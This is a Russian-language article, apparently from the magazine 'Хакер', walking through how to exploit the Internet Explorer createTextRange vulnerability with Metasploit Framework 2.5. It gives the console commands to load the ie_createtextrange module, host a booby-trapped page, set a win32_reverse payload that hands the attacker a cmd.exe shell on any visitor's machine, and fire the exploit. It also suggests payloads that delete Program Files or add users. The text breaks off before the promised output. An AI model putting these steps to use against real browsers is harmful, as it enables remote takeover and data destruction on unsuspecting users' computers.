Ослу — ослиная смерть Sashiks Хакер, номер #089, стр. 089-076-2 [глобальное эксплуатирование] В принципе, если тебе нравится возиться со всеми сплоитами вручную, то все, что тут написано, можешь смело пропустить. Но если ты ничего пропускать не будешь, то узнаешь, как можно максимально автоматизировать и упростить процесс использования нового бага. Итак, приступим. Для начала нужно качнуть с www.metasploit.org последний снапшот MetaSploit Framework (его версия на момент написания статьи — 2.5), там по умолчанию должен быть вшит новый сплоит. Небольшая поправка: комплект я качал и ставил под никсы. Если ты сидишь под дырявой виндой, то бери версию для Cygwin. В том случае, если версия фрэймворка у тебя чуть старше, то можно просто добавить отмычку, создав в папке exploits файл ie_createtextrange.pm, который можно взять по ссылке: http://metasploit.com/projects/Framework/modules/exploits/ie_createtextrange.pm. Как видишь, все предельно просто. Запускам метфреймовскую консоль ./msfconsole. Проверим, отображается ли наш эксплойт в списке доступных командой " show exploits ". Он должен называться "ie_createtextrange". Если он появится в списке, то все отлично: пишем "use ie_createtextrange" и смотрим, какие параметры нужно задать для того, чтобы exploit заработал. Обязательным является один параметр, в котором мы указываем порт, где должен висеть фейковый веб-сервер с зараженной страницей. Делаем так: "set HTTPPORT 1234". Теперь настал самый важный момент: выбор начинки (PAYLOAD) или, проще говоря, шелл-кода. Во фреймворке имеется приличный список шелл-кодов под винду, и у тебя нет необходимости каждый раз перелопачивать сорец. Чтобы поменять записанный шелл-код, воспользуйся прелестями MetaSploit FrameWork. Можно тупо забиндить порт, выполнить команду по удалению Program Files, добавить нового пользователя - да все что душе угодно! Для нашего эксперимента мы зарядим классическую начинку "set PAYLOAD win32_reverse ", которая соединится с нашим сервантом и подключит нас к cmd.exe с правами пользователя, имевшего неосторожность просмотреть нашу ссылку. Ах да, чуть не забыл: чтобы шелл-код присоединился к нам, а не куда-нибудь к машине Петровича, зададим обязательный параметр “LHOST внешний_IP-адрес_нашей_машины”. Вот и все. Запускаем нашу адскую машину командой "exploit". Если все о'кей, то на экране появится примерно следующее: |